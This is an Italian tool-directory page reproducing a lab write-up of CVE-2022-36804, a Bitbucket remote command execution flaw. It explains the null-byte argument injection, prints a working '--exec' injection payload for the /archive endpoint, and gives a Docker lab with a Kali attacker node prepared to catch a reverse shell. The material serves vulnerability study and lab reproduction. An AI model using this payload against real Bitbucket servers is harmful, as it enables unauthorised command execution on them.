Skip to content
KitploitKITPLOIT
StrumentiBlog
Log in
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2022-36804-Bitbucket-RCE-Analysis — Riproduzione dell'intera catena di sfruttamento di CVE-2022-36804 (Bitbucket RCE). Include un laboratorio Dockerizzato, monitoraggio pspy64 per la verifica dell'iniezione null-byte e uno script di exploit Bash personalizzato. Basato sulla ricerca di Assetnote. | Kitploit
Strumenti/GitHubGitHub/danielhallbro/cve-2022-36804-bitbucket-rce-analysis
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingCommand and ControlApprendimento e FormazioneSviluppo PayloadBinary ExploitationLab e Pratica
GitHubdanielhallbro/cve-2022-36804-bitbucket-rce-analysis

CVE-2022-36804-Bitbucket-RCE-Analysis

Riproduzione dell'intera catena di sfruttamento di CVE-2022-36804 (Bitbucket RCE). Include un laboratorio Dockerizzato, monitoraggio pspy64 per la verifica dell'iniezione null-byte e uno script di exploit Bash personalizzato. Basato sulla ricerca di Assetnote.

Vedi Repository
167 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2022-36804: Bitbucket Remote Command Execution (RCE)

Analisi Tecnica & Sfruttamento in Laboratorio dell'Argument Injection tramite Null-Byte

Riepilogo della Vulnerabilità

CVE-2022-36804 è una vulnerabilità di Argument Injection ad alta gravità/critica all'interno dell'API REST di Atlassian Bitbucket Server e Data Center.

Mentre il punteggio base ufficiale dell'NVD National Vulnerability Database è 8.8 (High) basato sul presupposto di privilegi di lettura richiesti (PR:L), questa analisi la tratta come una falla 9.8 (Critical) (PR:N). Se un repository target ha l'accesso pubblico abilitato—una configurazione comune—il vettore di sfruttamento diventa completamente pre-autenticato.

Questo repository documenta una riproduzione in laboratorio dell'intera catena dell'exploit, basata direttamente sulla ricerca tecnica pubblicata da Assetnote.

L'analisi descrive il passaggio dall'orchestrazione dell'ambiente e dall'elusione dei filtri di sicurezza fino al raggiungimento di una reverse shell interattiva. Come evidenziato nella scoperta originale, questa falla consente la Remote Command Execution (RCE), che può essere sfruttata pre-autenticazione se il repository target ha l'accesso pubblico abilitato.

Approfondimento Tecnico: La Discrepanza del Null-Byte

La vulnerabilità affonda le sue radici in una "Discrepanza di Sanitizzazione" (Sanitization Impedance Mismatch) tra il runtime dell'applicazione Java e il sistema operativo Linux.

Come evidenziato nella ricerca di Assetnote, Bitbucket utilizza la libreria NuProcess per costruire ed eseguire i comandi Git. Quando un utente fornisce un parametro prefix all'endpoint /archive, Bitbucket non riesce a rimuovere i caratteri null (%00) prima di passare la lista degli argomenti al sistema operativo.

  • La Visione di Java: Tratta l'input come un singolo oggetto stringa che contiene in modo sicuro un byte nullo.
  • La Visione del Kernel Linux: Scritto in C, il kernel usa i caratteri null per terminare le stringhe. Quando execve() elabora il comando, tronca la stringa in corrispondenza di %00. A causa del modo in cui NuProcess passa i dati, il sistema operativo tratta tutto ciò che segue il byte nullo come un argomento completamente nuovo.

Iniettando --exec=..., un attaccante esce dal flag --prefix previsto e costringe il processo git archive a eseguire un binario arbitrario, portando alla Remote Command Execution (RCE).

Clicca per Espandere: Anatomia del Payload e lo "Spostamento dell'Array"

Per capire come l'exploit passa da un semplice parametro URL a un comando a livello di sistema operativo, dobbiamo analizzare la struttura del payload e osservare lo "Spostamento dell'Array" (Array Shift).

1. La Scomposizione del Payload

prefix=x%00--exec=/bin/bash+-c+'touch+/tmp/pwned'%00--remote=file:///%00x

ComponenteScopoRuolo Tecnico
prefix=xRequisitogit archive richiede un prefix; x funge da segnaposto.
%00Il ColtelloNull-Byte. Java lo passa, ma il kernel Linux basato su C termina la stringa qui.
--exec=...Il Trigger RCEIl Flag Pericoloso. Abusa della funzionalità integrata di Git per eseguire programmi esterni.
touch ...L'AzioneIl comando da eseguire. PoC sicuro per verificare la RCE.
--remote=...Il CestinoAssorbe il Commit ID (aggiunto da Bitbucket) come argomento valido, garantendo che il comando venga eseguito correttamente senza errori di sintassi.

2. Lo "Spostamento dell'Array" Visualizzato

Questo illustra il cuore della vulnerabilità: come Dati (un prefisso di directory) vengono trasformati in Istruzioni (un flag di comando).

Contesto di Esecuzione di Java (Stato Iniziale):

Java vede una singola stringa lunga come terzo argomento.

[
  "git",                                      // Indice 0
  "archive",                                  // Indice 1
  "--prefix=x\0--exec=...\0--remote=...\0x",  // Indice 2: La singola stringa inquinata
  "1a2b3c4d..."                               // Indice 3: Aggiunto da Bitbucket
]

Esecuzione del Kernel Linux (Stato Sfruttato):

La syscall execve() del kernel divide la stringa in corrispondenza di ogni byte nullo (\0), spostando i flag iniettati nelle loro posizioni autonome nell'array degli argomenti del processo.

[
  "git",                                      // argv[0]: https://raw.githubusercontent.com/danielhallbro/cve-2022-36804-bitbucket-rce-analysis/main/Eseguibile
  "archive",                                  // argv[1]: Sottocomando
  "--prefix=x",                               // argv[2]: Terminato anticipatamente da %00
  "--exec=/bin/bash -c 'touch /tmp/pwned'",   // argv[3]: IL FLAG INIETTATO (RCE)
  "--remote=file:///",                        // argv[4]: IL CESTINO (Reindirizza la logica)
  "1a2b3c4d..."                               // argv[5]: COMMIT ID (Assorbito da --remote)
]

Setup di Laboratorio

Per simulare una superficie d'attacco realistica, l'ambiente di laboratorio utilizza un'architettura a doppio container isolata all'interno di una rete bridge Docker (hacking_net). Questa configurazione garantisce che lo sfruttamento e il monitoraggio possano essere eseguiti in un ambiente controllato senza influenzare il sistema host.

Componenti dell'Architettura

  • Nodo Vittima: Esegue Atlassian Bitbucket Server versione 7.17.1. Il container è intenzionalmente chiamato bitbucket-victim. Questo riflette un'importante rifinitura di progettazione fatta per garantire la conformità con l'applicazione dell'RFC 7230 di Apache Tomcat. Utilizzando un trattino invece di un underscore, l'ambiente evita gli errori 400 "Invalid Character" che si verificano durante l'esecuzione del payload—un ostacolo tecnico chiave identificato e risolto durante la fase di ricerca.

  • Nodo Attaccante: Un'immagine Kali Linux rolling personalizzata. A differenza di un'immagine standard, questo nodo è pre-configurato con il set di strumenti specifico richiesto per questa catena di exploit: git per la manipolazione del repository, curl per la consegna del payload e netcat-traditional per catturare la reverse shell.

docker-compose.yml (Versione Conforme RFC di Tomcat)
services:
  bitbucket:
    image: atlassian/bitbucket-server:7.17.1
    container_name: bitbucket-victim # Rinominato da bitbucket_victim per evitare problemi di host header durante l'esecuzione del payload.
    ports:
      - "7990:7990"
    volumes:
      - ./bitbucket-data:/var/atlassian/application-data/bitbucket
    networks:
      - hacking_net

  kali:
    build: .
    container_name: kali_attacker
    tty: true
    networks:
      - hacking_net

networks:
  hacking_net:
    driver: bridge

dockerfile (Nodo Attaccante)
# Use the official Kali Linux rolling image as the base
FROM kalilinux/kali-rolling

# Update package lists and install essential tools for the exploit
# - git: REQUIRED for this specific CVE (we will manipulate git commands)
# - curl: To send the HTTP requests (the payload)
# - netcat-traditional: To catch the reverse shell (listener)
# - nano: Added for user-friendly text editing inside the container
# - python3: Useful for scripting or hosting simple HTTP servers
RUN apt-get update && \
    apt-get install -y git curl netcat-traditional nano python3 && \
    apt-get clean && \
    rm -rf /var/lib/apt/lists/*

# Set the working directory to /root for convenience
WORKDIR /root

# Keep the container running indefinitely so we can access it via 'docker exec'
# This command simply follows the null device, doing nothing but keeping the process alive
CMD ["tail", "-f", "/dev/null"]

Verifica in Laboratorio (La Via Rapida)

Scarica lo strumento